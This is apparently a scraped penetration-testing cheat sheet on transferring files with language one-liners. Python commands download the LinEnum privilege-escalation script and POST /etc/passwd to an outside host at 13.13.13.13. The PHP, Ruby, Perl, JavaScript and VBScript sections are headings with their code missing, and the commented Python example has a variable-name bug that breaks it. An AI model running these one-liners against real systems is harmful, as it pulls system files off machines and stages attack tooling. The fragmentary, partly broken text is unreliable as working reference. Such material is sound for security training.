Code
Python
Python 2 - Download
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'Python3 - Download
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'Upload Operations
Starting the Python uploadserver Module
python3 -m uploadserverUploading a File Using a Python One-liner
python3 -c 'import requests;requests.post("http://13.13.13.13:8000/upload",files={"files":open("/etc/passwd","rb")})'Oneliner in few lines for better understanding
# To use the requests function, we need to import the module first.
import requests
# Define the target URL where we will upload the file.
URL = "http://13.13.13.13:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file.
r = requests.post(url,files={"files":file})PHP
PHP Download with File_get_contents()
PHP Download with Fopen()
PHP Download a File and Pipe it to Bash
Ruby
Ruby - Download a File
Perl
Perl - Download a File
JavaScript
Based on this post, you could make wget.js file:
And then we can use following command from Windows CMD or PowerShell to execute our code:
VBScript
VBScript or ("Microsoft Visual Basic Scription Edition") is Microsoft scripting language that is modeled on Visual Basic. You could make wget.vbs file to download a file:
Download a File using VBScript and cscript.exe